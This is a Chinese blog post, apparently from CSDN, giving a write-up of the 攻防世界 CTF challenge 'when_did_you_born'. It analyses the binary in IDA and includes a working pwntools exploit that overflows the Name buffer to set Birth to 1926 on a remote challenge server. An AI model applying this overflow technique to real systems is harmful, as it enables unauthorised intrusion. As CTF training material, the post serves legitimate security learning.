攻防世界 when_did_you_born

博客介绍了攻防世界中的when_did_you_born题目,通过IDA反汇编分析C程序,揭示了程序流程。关键在于利用Name输入触发 Birth 变量溢出,当Birth等于1926时能获取flag。文章指出name和birth变量间有8个单元的间距,提供了exploit的思路。
摘要由CSDN通过智能技术生成

1.题目

2.IDA反汇编C程序

3.程序流程分析

首先输入Birth,如果Birth==1926直接退出;否则,输入Name,这时,判断Birth是否==1926.等于则get flag。

很明显,输入名字就是专门为我们提供溢出点的。两个变量的位置如下图:

0x20 - 0x18 = 0x8

也就是说name和birth之间间距8个单元。exp如下

from pwn import *

#io = process('./when_did_you_born')
io = remote('220.249.52.133', 42115)

io.recvuntil("Your Birth?")
io.sendline("1995")

payload = 'a' * 0x8  + p64(1926)
io.recvuntil('Your Name?')
io.sendline(payload)

io.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值